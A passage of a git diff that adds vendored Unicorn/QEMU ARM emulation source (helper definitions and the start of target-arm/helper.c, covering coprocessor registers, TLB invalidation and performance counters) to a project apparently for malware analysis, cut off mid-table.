+DEF_HELPER_FLAGS_3(vfp_mulxd, TCG_CALL_NO_RWG, f64, f64, f64, ptr) +DEF_HELPER_FLAGS_3(neon_ceq_f64, TCG_CALL_NO_RWG, i64, i64, i64, ptr) +DEF_HELPER_FLAGS_3(neon_cge_f64, TCG_CALL_NO_RWG, i64, i64, i64, ptr) +DEF_HELPER_FLAGS_3(neon_cgt_f64, TCG_CALL_NO_RWG, i64, i64, i64, ptr) +DEF_HELPER_FLAGS_3(recpsf_f32, TCG_CALL_NO_RWG, f32, f32, f32, ptr) +DEF_HELPER_FLAGS_3(recpsf_f64, TCG_CALL_NO_RWG, f64, f64, f64, ptr) +DEF_HELPER_FLAGS_3(rsqrtsf_f32, TCG_CALL_NO_RWG, f32, f32, f32, ptr) +DEF_HELPER_FLAGS_3(rsqrtsf_f64, TCG_CALL_NO_RWG, f64, f64, f64, ptr) +DEF_HELPER_FLAGS_1(neon_addlp_s8, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_FLAGS_1(neon_addlp_u8, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_FLAGS_1(neon_addlp_s16, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_FLAGS_1(neon_addlp_u16, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_FLAGS_2(frecpx_f64, TCG_CALL_NO_RWG, f64, f64, ptr) +DEF_HELPER_FLAGS_2(frecpx_f32, TCG_CALL_NO_RWG, f32, f32, ptr) +DEF_HELPER_FLAGS_2(fcvtx_f64_to_f32, TCG_CALL_NO_RWG, f32, f64, env) +DEF_HELPER_FLAGS_3(crc32_64, TCG_CALL_NO_RWG_SE, i64, i64, i64, i32) +DEF_HELPER_FLAGS_3(crc32c_64, TCG_CALL_NO_RWG_SE, i64, i64, i64, i32) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.c new file mode 100644 index 0000000..8f65534 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.c @@ -0,0 +1,5791 @@ +#include "cpu.h" +#include "internals.h" +#include "exec/helper-proto.h" +#include "qemu/host-utils.h" +#include "sysemu/sysemu.h" +#include "qemu/bitops.h" +#include "qemu/crc32c.h" +#include "exec/cpu_ldst.h" +#include "arm_ldst.h" + +#ifndef CONFIG_USER_ONLY +static inline int get_phys_addr(CPUARMState *env, target_ulong address, + int access_type, int is_user, + hwaddr *phys_ptr, int *prot, + target_ulong *page_size); + +/* Definitions for the PMCCNTR and PMCR registers */ +#define PMCRD 0x8 +#define PMCRC 0x4 +#define PMCRE 0x1 +#endif + +static uint64_t raw_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + if (cpreg_field_is_64bit(ri)) { + return CPREG_FIELD64(env, ri); + } else { + return CPREG_FIELD32(env, ri); + } +} + +static void raw_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + if (cpreg_field_is_64bit(ri)) { + CPREG_FIELD64(env, ri) = value; + } else { + CPREG_FIELD32(env, ri) = value; + } +} + +static uint64_t read_raw_cp_reg(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* Raw read of a coprocessor register (as needed for migration, etc). */ + if (ri->type & ARM_CP_CONST) { + return ri->resetvalue; + } else if (ri->raw_readfn) { + return ri->raw_readfn(env, ri); + } else if (ri->readfn) { + return ri->readfn(env, ri); + } else { + return raw_read(env, ri); + } +} + +static void write_raw_cp_reg(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t v) +{ + /* Raw write of a coprocessor register (as needed for migration, etc). + * Note that constant registers are treated as write-ignored; the + * caller should check for success by whether a readback gives the + * value written. + */ + if (ri->type & ARM_CP_CONST) { + return; + } else if (ri->raw_writefn) { + ri->raw_writefn(env, ri, v); + } else if (ri->writefn) { + ri->writefn(env, ri, v); + } else { + raw_write(env, ri, v); + } +} + +bool write_cpustate_to_list(ARMCPU *cpu) +{ + /* Write the coprocessor state from cpu->env to the (index,value) list. */ + int i; + bool ok = true; + + for (i = 0; i < cpu->cpreg_array_len; i++) { + uint32_t regidx = kvm_to_cpreg_id(cpu->cpreg_indexes[i]); + const ARMCPRegInfo *ri; + + ri = get_arm_cp_reginfo(cpu->cp_regs, regidx); + if (!ri) { + ok = false; + continue; + } + if (ri->type & ARM_CP_NO_MIGRATE) { + continue; + } + cpu->cpreg_values[i] = read_raw_cp_reg(&cpu->env, ri); + } + return ok; +} + +bool write_list_to_cpustate(ARMCPU *cpu) +{ + int i; + bool ok = true; + + for (i = 0; i < cpu->cpreg_array_len; i++) { + uint32_t regidx = kvm_to_cpreg_id(cpu->cpreg_indexes[i]); + uint64_t v = cpu->cpreg_values[i]; + const ARMCPRegInfo *ri; + + ri = get_arm_cp_reginfo(cpu->cp_regs, regidx); + if (!ri) { + ok = false; + continue; + } + if (ri->type & ARM_CP_NO_MIGRATE) { + continue; + } + /* Write value and confirm it reads back as written + * (to catch read-only registers and partially read-only + * registers where the incoming migration value doesn't match) + */ + write_raw_cp_reg(&cpu->env, ri, v); + if (read_raw_cp_reg(&cpu->env, ri) != v) { + ok = false; + } + } + return ok; +} + +static void add_cpreg_to_list(gpointer key, gpointer opaque) +{ + ARMCPU *cpu = opaque; + uint64_t regidx; + const ARMCPRegInfo *ri; + + regidx = *(uint32_t *)key; + ri = get_arm_cp_reginfo(cpu->cp_regs, regidx); + + if (!(ri->type & ARM_CP_NO_MIGRATE)) { + cpu->cpreg_indexes[cpu->cpreg_array_len] = cpreg_to_kvm_id(regidx); + /* The value array need not be initialized at this point */ + cpu->cpreg_array_len++; + } +} + +static void count_cpreg(gpointer key, gpointer opaque) +{ + ARMCPU *cpu = opaque; + uint64_t regidx; + const ARMCPRegInfo *ri; + + regidx = *(uint32_t *)key; + ri = get_arm_cp_reginfo(cpu->cp_regs, regidx); + + if (!(ri->type & ARM_CP_NO_MIGRATE)) { + cpu->cpreg_array_len++; + } +} + +static gint cpreg_key_compare(gconstpointer a, gconstpointer b) +{ + uint64_t aidx = cpreg_to_kvm_id(*(uint32_t *)a); + uint64_t bidx = cpreg_to_kvm_id(*(uint32_t *)b); + + if (aidx > bidx) { + return 1; + } + if (aidx < bidx) { + return -1; + } + return 0; +} + +static void cpreg_make_keylist(gpointer key, gpointer value, gpointer udata) +{ + GList **plist = udata; + + *plist = g_list_prepend(*plist, key); +} + +void init_cpreg_list(ARMCPU *cpu) +{ + /* Initialise the cpreg_tuples[] array based on the cp_regs hash. + * Note that we require cpreg_tuples[] to be sorted by key ID. + */ + GList *keys = NULL; + int arraylen; + + g_hash_table_foreach(cpu->cp_regs, cpreg_make_keylist, &keys); + + keys = g_list_sort(keys, cpreg_key_compare); + + cpu->cpreg_array_len = 0; + + g_list_foreach(keys, count_cpreg, cpu); + + arraylen = cpu->cpreg_array_len; + cpu->cpreg_indexes = g_new(uint64_t, arraylen); + cpu->cpreg_values = g_new(uint64_t, arraylen); + cpu->cpreg_vmstate_indexes = g_new(uint64_t, arraylen); + cpu->cpreg_vmstate_values = g_new(uint64_t, arraylen); + cpu->cpreg_vmstate_array_len = cpu->cpreg_array_len; + cpu->cpreg_array_len = 0; + + g_list_foreach(keys, add_cpreg_to_list, cpu); + + assert(cpu->cpreg_array_len == arraylen); + + g_list_free(keys); +} + +static void dacr_write(CPUARMState *env, const ARMCPRegInfo *ri, uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + raw_write(env, ri, value); + tlb_flush(CPU(cpu), 1); /* Flush TLB as domain not tracked in TLB */ +} + +static void fcse_write(CPUARMState *env, const ARMCPRegInfo *ri, uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + if (raw_read(env, ri) != value) { + /* Unlike real hardware the qemu TLB uses virtual addresses, + * not modified virtual addresses, so this causes a TLB flush. + */ + tlb_flush(CPU(cpu), 1); + raw_write(env, ri, value); + } +} + +static void contextidr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + if (raw_read(env, ri) != value && !arm_feature(env, ARM_FEATURE_MPU) + && !extended_addresses_enabled(env)) { + /* For VMSA (when not using the LPAE long descriptor page table + * format) this register includes the ASID, so do a TLB flush. + * For PMSA it is purely a process ID and no action is needed. + */ + tlb_flush(CPU(cpu), 1); + } + raw_write(env, ri, value); +} + +static void tlbiall_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Invalidate all (TLBIALL) */ + ARMCPU *cpu = arm_env_get_cpu(env); + + tlb_flush(CPU(cpu), 1); +} + +static void tlbimva_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Invalidate single TLB entry by MVA and ASID (TLBIMVA) */ + ARMCPU *cpu = arm_env_get_cpu(env); + + tlb_flush_page(CPU(cpu), value & TARGET_PAGE_MASK); +} + +static void tlbiasid_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Invalidate by ASID (TLBIASID) */ + ARMCPU *cpu = arm_env_get_cpu(env); + + tlb_flush(CPU(cpu), value == 0); +} + +static void tlbimvaa_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Invalidate single entry by MVA, all ASIDs (TLBIMVAA) */ + ARMCPU *cpu = arm_env_get_cpu(env); + + tlb_flush_page(CPU(cpu), value & TARGET_PAGE_MASK); +} + +/* IS variants of TLB operations must affect all cores */ +static void tlbiall_is_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + //struct uc_struct *uc = env->uc; + // TODO: issue #642 + // tlb_flush(other_cpu, 1); +} + +static void tlbiasid_is_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + //struct uc_struct *uc = env->uc; + // TODO: issue #642 + // tlb_flush(other_cpu, value == 0); +} + +static void tlbimva_is_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + //struct uc_struct *uc = env->uc; + // TODO: issue #642 + // tlb_flush(other_cpu, value & TARGET_PAGE_MASK); +} + +static void tlbimvaa_is_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + //struct uc_struct *uc = env->uc; + // TODO: issue #642 + // tlb_flush(other_cpu, value & TARGET_PAGE_MASK); +} + +static const ARMCPRegInfo cp_reginfo[] = { + { "FCSEIDR", 15,13,0, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c13_fcse), + NULL, NULL, fcse_write, NULL, raw_write, NULL, }, + { "CONTEXTIDR", 0,13,0, 3,0,1, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.contextidr_el1), + NULL, NULL, contextidr_write, NULL, raw_write, NULL, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo not_v8_cp_reginfo[] = { + /* NB: Some of these registers exist in v8 but with more precise + * definitions that don't use CP_ANY wildcards (mostly in v8_cp_reginfo[]). + */ + /* MMU Domain access control / MPU write buffer control */ + { "DACR", 15,3,CP_ANY, 0,CP_ANY,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c3), + NULL, NULL, dacr_write, NULL, raw_write, NULL, }, + /* ??? This covers not just the impdef TLB lockdown registers but also + * some v7VMSA registers relating to TEX remap, so it is overly broad. + */ + { "TLB_LOCKDOWN", 15,10,CP_ANY, 0,CP_ANY,CP_ANY, 0, + ARM_CP_NOP, PL1_RW, }, + /* Cache maintenance ops; some of this space may be overridden later. */ + { "CACHEMAINT", 15,7,CP_ANY, 0,0,CP_ANY, 0, + ARM_CP_NOP | ARM_CP_OVERRIDE, PL1_W, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo not_v6_cp_reginfo[] = { + /* Not all pre-v6 cores implemented this WFI, so this is slightly + * over-broad. + */ + { "WFI_v5", 15,7,8, 0,0,2, 0, + ARM_CP_WFI, PL1_W, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo not_v7_cp_reginfo[] = { + /* Standard v6 WFI (also used in some pre-v6 cores); not in v7 (which + * is UNPREDICTABLE; we choose to NOP as most implementations do). + */ + { "WFI_v6", 15,7,0, 0,0,4, 0, + ARM_CP_WFI, PL1_W, }, + /* L1 cache lockdown. Not architectural in v6 and earlier but in practice + * implemented in 926, 946, 1026, 1136, 1176 and 11MPCore. StrongARM and + * OMAPCP will override this space. + */ + { "DLOCKDOWN", 15,9,0, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_data), }, + { "ILOCKDOWN", 15,9,0, 0,0,1, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_insn), }, + /* v6 doesn't have the cache ID registers but Linux reads them anyway */ + { "DUMMY", 15,0,0, 0,1,CP_ANY, 0, + ARM_CP_CONST | ARM_CP_NO_MIGRATE, PL1_R, NULL, 0 }, + /* We don't implement pre-v7 debug but most CPUs had at least a DBGDIDR; + * implementing it as RAZ means the "debug architecture version" bits + * will read as a reserved value, which should cause Linux to not try + * to use the debug hardware. + */ + { "DBGDIDR", 14,0,0, 0,0,0, 0, + ARM_CP_CONST, PL0_R, NULL, 0 }, + /* MMU TLB control. Note that the wildcarding means we cover not just + * the unified TLB ops but also the dside/iside/inner-shareable variants. + */ + { "TLBIALL", 15,8,CP_ANY, 0,CP_ANY,0, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiall_write, }, + { "TLBIMVA", 15,8,CP_ANY, 0,CP_ANY,1, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimva_write, }, + { "TLBIASID", 15,8,CP_ANY, 0,CP_ANY,2, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiasid_write, }, + { "TLBIMVAA", 15,8,CP_ANY, 0,CP_ANY,3, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimvaa_write, }, + REGINFO_SENTINEL +}; + +static void cpacr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + uint32_t mask = 0; + + /* In ARMv8 most bits of CPACR_EL1 are RES0. */ + if (!arm_feature(env, ARM_FEATURE_V8)) { + /* ARMv7 defines bits for unimplemented coprocessors as RAZ/WI. + * ASEDIS [31] and D32DIS [30] are both UNK/SBZP without VFP. + * TRCDIS [28] is RAZ/WI since we do not implement a trace macrocell. + */ + if (arm_feature(env, ARM_FEATURE_VFP)) { + /* VFP coprocessor: cp10 & cp11 [23:20] */ + mask |= (1U << 31) | (1 << 30) | (0xf << 20); + + if (!arm_feature(env, ARM_FEATURE_NEON)) { + /* ASEDIS [31] bit is RAO/WI */ + value |= (1U << 31); + } + + /* VFPv3 and upwards with NEON implement 32 double precision + * registers (D0-D31). + */ + if (!arm_feature(env, ARM_FEATURE_NEON) || + !arm_feature(env, ARM_FEATURE_VFP3)) { + /* D32DIS [30] is RAO/WI if D16-31 are not implemented. */ + value |= (1 << 30); + } + } + value &= mask; + } + env->cp15.c1_coproc = value; +} + +static const ARMCPRegInfo v6_cp_reginfo[] = { + /* prefetch by MVA in v6, NOP in v7 */ + { "MVA_prefetch", 15,7,13, 0,0,1, 0, + ARM_CP_NOP, PL1_W, }, + { "ISB", 15,7,5, 0,0,4, 0, + ARM_CP_NOP, PL0_W, }, + { "DSB", 15,7,10, 0,0,4, 0, + ARM_CP_NOP, PL0_W, }, + { "DMB", 15,7,10, 0,0,5, 0, + ARM_CP_NOP, PL0_W, }, + { "IFAR", 15,6,0, 0,0,2, 0, + 0, PL1_RW, NULL, 0, offsetofhigh32(CPUARMState, cp15.far_el[1]), }, + /* Watchpoint Fault Address Register : should actually only be present + * for 1136, 1176, 11MPCore. + */ + { "WFAR", 15,6,0, 0,0,1, 0, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + { "CPACR", 0,1,0, 3,0,2, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c1_coproc), + NULL, NULL, cpacr_write }, + REGINFO_SENTINEL +}; + +static CPAccessResult pmreg_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* Performance monitor registers user accessibility is controlled + * by PMUSERENR. + */ + if (arm_current_el(env) == 0 && !env->cp15.c9_pmuserenr) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +#ifndef CONFIG_USER_ONLY + +static inline bool arm_ccnt_enabled(CPUARMState *env) +{ + /* This does not support checking PMCCFILTR_EL0 register */ + + if (!(env->cp15.c9_pmcr & PMCRE)) { + return false; + } + + return true; +} + +void pmccntr_sync(CPUARMState *env) +{ + uint64_t temp_ticks; + + temp_ticks = muldiv64(qemu_clock_get_us(QEMU_CLOCK_VIRTUAL), + get_ticks_per_sec(), 1000000); + + if (env->cp15.c9_pmcr & PMCRD) { + /* Increment once every 64 processor clock cycles */ + temp_ticks /= 64; + } + + if (arm_ccnt_enabled(env)) { + env->cp15.c15_ccnt = temp_ticks - env->cp15.c15_ccnt; + } +} + +static void pmcr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + pmccntr_sync(env); + + if (value & PMCRC) { + /* The counter has been reset */ + env->cp15.c15_ccnt = 0; + } + + /* only the DP, X, D and E bits are writable */ + env->cp15.c9_pmcr &= ~0x39; + env->cp15.c9_pmcr |= (value & 0x39); + + pmccntr_sync(env); +} + +static uint64_t pmccntr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + uint64_t total_ticks; + + if (!arm_ccnt_enabled(env)) { + /* Counter is disabled, do not change value */ + return env->cp15.c15_ccnt; + } + + total_ticks = muldiv64(qemu_clock_get_us(QEMU_CLOCK_VIRTUAL), + get_ticks_per_sec(), 1000000); + + if (env->cp15.c9_pmcr & PMCRD) { + /* Increment once every 64 processor clock cycles */ + total_ticks /= 64; + } + return total_ticks - env->cp15.c15_ccnt; +} + +static void pmccntr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + uint64_t total_ticks; + + if (!arm_ccnt_enabled(env)) { + /* Counter is disabled, set the absolute value */ + env->cp15.c15_ccnt = value; + return; + } + + total_ticks = muldiv64(qemu_clock_get_us(QEMU_CLOCK_VIRTUAL), + get_ticks_per_sec(), 1000000); + + if (env->cp15.c9_pmcr & PMCRD) { + /* Increment once every 64 processor clock cycles */ + total_ticks /= 64; + } + env->cp15.c15_ccnt = total_ticks - value; +} + +static void pmccntr_write32(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + uint64_t cur_val = pmccntr_read(env, NULL); + + pmccntr_write(env, ri, deposit64(cur_val, 0, 32, value)); +} + +#else /* CONFIG_USER_ONLY */ + +void pmccntr_sync(CPUARMState *env) +{ +} + +#endif + +static void pmccfiltr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + pmccntr_sync(env); + env->cp15.pmccfiltr_el0 = value & 0x7E000000; + pmccntr_sync(env); +} + +static void pmcntenset_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + value &= (1U << 31); + env->cp15.c9_pmcnten |= value; +} + +static void pmcntenclr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + value &= (1U << 31); + env->cp15.c9_pmcnten &= ~value; +} + +static void pmovsr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.c9_pmovsr &= ~value; +} + +static void pmxevtyper_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.c9_pmxevtyper = value & 0xff; +} + +static void pmuserenr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.c9_pmuserenr = value & 1; +} + +static void pmintenset_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* We have no event counters so only the C bit can be changed */ + value &= (1U << 31); + env->cp15.c9_pminten |= value; +} + +static void pmintenclr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + value &= (1U << 31); + env->cp15.c9_pminten &= ~value; +} + +static void vbar_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Note that even though the AArch64 view of this register has bits + * [10:0] all RES0 we can only mask the bottom 5, to comply with the + * architectural requirements for bits which are RES0 only in some + * contexts. (ARMv8 would permit us to do no masking at all, but ARMv7 + * requires the bottom five bits to be RAZ/WI because they're UNK/SBZP.) + */ + raw_write(env, ri, value & ~0x1FULL); +} + +static void scr_write(CPUARMState *env, const ARMCPRegInfo *ri, uint64_t value) +{ + /* We only mask off bits that are RES0 both for AArch64 and AArch32. + * For bits that vary between AArch32/64, code needs to check the + * current execution mode before directly using the feature bit. + */ + uint32_t valid_mask = SCR_AARCH64_MASK | SCR_AARCH32_MASK; + + if (!arm_feature(env, ARM_FEATURE_EL2)) { + valid_mask &= ~SCR_HCE; + + /* On ARMv7, SMD (or SCD as it is called in v7) is only + * supported if EL2 exists. The bit is UNK/SBZP when + * EL2 is unavailable. In QEMU ARMv7, we force it to always zero + * when EL2 is unavailable. + */ + if (arm_feature(env, ARM_FEATURE_V7)) { + valid_mask &= ~SCR_SMD; + } + } + + /* Clear all-context RES0 bits. */ + value &= valid_mask; + raw_write(env, ri, value); +} + +static uint64_t ccsidr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + return cpu->ccsidr[env->cp15.c0_cssel]; +} + +static void csselr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + raw_write(env, ri, value & 0xf); +} + +static uint64_t isr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + CPUState *cs = ENV_GET_CPU(env); + uint64_t ret = 0; + + if (cs->interrupt_request & CPU_INTERRUPT_HARD) { + ret |= CPSR_I; + } + if (cs->interrupt_request & CPU_INTERRUPT_FIQ) { + ret |= CPSR_F; + } + /* External aborts are not possible in QEMU so A bit is always clear */ + return ret; +} + +static const ARMCPRegInfo v7_cp_reginfo[] = { + /* the old v6 WFI, UNPREDICTABLE in v7 but we choose to NOP */ + { "NOP", 15,7,0, 0,0,4, 0, + ARM_CP_NOP, PL1_W, }, + /* Performance monitors are implementation defined in v7, + * but with an ARM recommended set of registers, which we + * follow (although we don't actually implement any counters) + * + * Performance registers fall into three categories: + * (a) always UNDEF in PL0, RW in PL1 (PMINTENSET, PMINTENCLR) + * (b) RO in PL0 (ie UNDEF on write), RW in PL1 (PMUSERENR) + * (c) UNDEF in PL0 if PMUSERENR.EN==0, otherwise accessible (all others) + * For the cases controlled by PMUSERENR we must set .access to PL0_RW + * or PL0_RO as appropriate and then check PMUSERENR in the helper fn. + */ + { "PMCNTENSET", 15,9,12, 0,0,1, 0, + ARM_CP_NO_MIGRATE, PL0_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.c9_pmcnten), + pmreg_access, NULL, pmcntenset_write, NULL, raw_write }, + { "PMCNTENSET_EL0", 0,9,12, 3,3,1, ARM_CP_STATE_AA64, + 0, PL0_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_pmcnten), + pmreg_access, NULL, pmcntenset_write, NULL, raw_write }, + { "PMCNTENCLR", 15,9,12, 0,0,2, 0, + ARM_CP_NO_MIGRATE, PL0_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.c9_pmcnten), + pmreg_access, NULL, pmcntenclr_write, }, + { "PMCNTENCLR_EL0", 0,9,12, 3,3,2, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL0_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_pmcnten), + pmreg_access, NULL, pmcntenclr_write }, + { "PMOVSR", 15,9,12, 0,0,3, 0, + 0, PL0_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_pmovsr), + pmreg_access, NULL, pmovsr_write, NULL, raw_write }, + /* Unimplemented so WI. */ + { "PMSWINC", 15,9,12, 0,0,4, 0, + ARM_CP_NOP, PL0_W, NULL, 0, 0, + pmreg_access, }, + /* Since we don't implement any events, writing to PMSELR is UNPREDICTABLE. + * We choose to RAZ/WI. + */ + { "PMSELR", 15,9,12, 0,0,5, 0, + ARM_CP_CONST, PL0_RW, NULL, 0, 0, + pmreg_access }, +#ifndef CONFIG_USER_ONLY + { "PMCCNTR", 15,9,13, 0,0,0, 0, + ARM_CP_IO, PL0_RW, NULL, 0, 0, + pmreg_access, pmccntr_read, pmccntr_write32, }, + { "PMCCNTR_EL0", 0,9,13, 3,3,0, ARM_CP_STATE_AA64, + ARM_CP_IO, PL0_RW, NULL, 0, 0, + pmreg_access, pmccntr_read, pmccntr_write, }, +#endif + { "PMCCFILTR_EL0", 0,14,15, 3,3,7, ARM_CP_STATE_AA64, + ARM_CP_IO, PL0_RW, NULL, 0, offsetof(CPUARMState, cp15.pmccfiltr_el0), + pmreg_access, NULL, pmccfiltr_write, }, + { "PMXEVTYPER", 15,9,13, 0,0,1, 0, + 0, PL0_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_pmxevtyper), + pmreg_access, NULL, pmxevtyper_write, NULL, raw_write }, + /* Unimplemented, RAZ/WI. */ + { "PMXEVCNTR", 15,9,13, 0,0,2, 0, + ARM_CP_CONST, PL0_RW, NULL, 0, 0, + pmreg_access }, + { "PMUSERENR", 15,9,14, 0,0,0, 0, + 0, PL0_R | PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_pmuserenr), + NULL, NULL, pmuserenr_write, NULL, raw_write }, + { "PMINTENSET", 15,9,14, 0,0,1, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_pminten), + NULL, NULL, pmintenset_write, NULL, raw_write }, + { "PMINTENCLR", 15,9,14, 0,0,2, 0, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c9_pminten), + NULL, NULL, pmintenclr_write, }, + { "VBAR", 0,12,0, 3,0,0, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.vbar_el[1]), + NULL, NULL, vbar_write, }, + { "SCR", 15,1,1, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.scr_el3), + NULL, NULL, scr_write }, + { "CCSIDR", 0,0,0, 3,1,0, ARM_CP_STATE_BOTH, + ARM_CP_NO_MIGRATE, PL1_R, NULL, 0, 0, + NULL, ccsidr_read, }, + { "CSSELR", 0,0,0, 3,2,0, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c0_cssel), + NULL, NULL, csselr_write, }, + /* Auxiliary ID register: this actually has an IMPDEF value but for now + * just RAZ for all cores: + */ + { "AIDR", 0,0,0, 3,1,7, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, 0 }, + /* Auxiliary fault status registers: these also are IMPDEF, and we + * choose to RAZ/WI for all cores. + */ + { "AFSR0_EL1", 0,5,1, 3,0,0, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + { "AFSR1_EL1", 0,5,1, 3,0,1, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + /* MAIR can just read-as-written because we don't implement caches + * and so don't need to care about memory attributes. + */ + { "MAIR_EL1", 0,10,2, 3,0,0, ARM_CP_STATE_AA64, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.mair_el1), }, + /* For non-long-descriptor page tables these are PRRR and NMRR; + * regardless they still act as reads-as-written for QEMU. + * The override is necessary because of the overly-broad TLB_LOCKDOWN + * definition. + */ + { "MAIR0", 15,10,2, 0,0,0, ARM_CP_STATE_AA32, + ARM_CP_OVERRIDE, PL1_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.mair_el1), + NULL, NULL, NULL, NULL, NULL, arm_cp_reset_ignore }, + { "MAIR1", 15,10,2, 0,0,1, ARM_CP_STATE_AA32, + ARM_CP_OVERRIDE, PL1_RW, NULL, 0, offsetofhigh32(CPUARMState, cp15.mair_el1), + NULL, NULL, NULL, NULL, NULL, arm_cp_reset_ignore }, + { "ISR_EL1", 0,12,1, 3,0,0, ARM_CP_STATE_BOTH, + ARM_CP_NO_MIGRATE, PL1_R, NULL, 0, 0, + NULL, isr_read }, + /* 32 bit ITLB invalidates */ + { "ITLBIALL", 15,8,5, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiall_write }, + { "ITLBIMVA", 15,8,5, 0,0,1, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimva_write }, + { "ITLBIASID", 15,8,5, 0,0,2, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiasid_write }, + /* 32 bit DTLB invalidates */ + { "DTLBIALL", 15,8,6, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiall_write }, + { "DTLBIMVA", 15,8,6, 0,0,1, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimva_write }, + { "DTLBIASID", 15,8,6, 0,0,2, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiasid_write }, + /* 32 bit TLB invalidates */ + { "TLBIALL", 15,8,7, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiall_write }, + { "TLBIMVA", 15,8,7, 0,0,1, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, 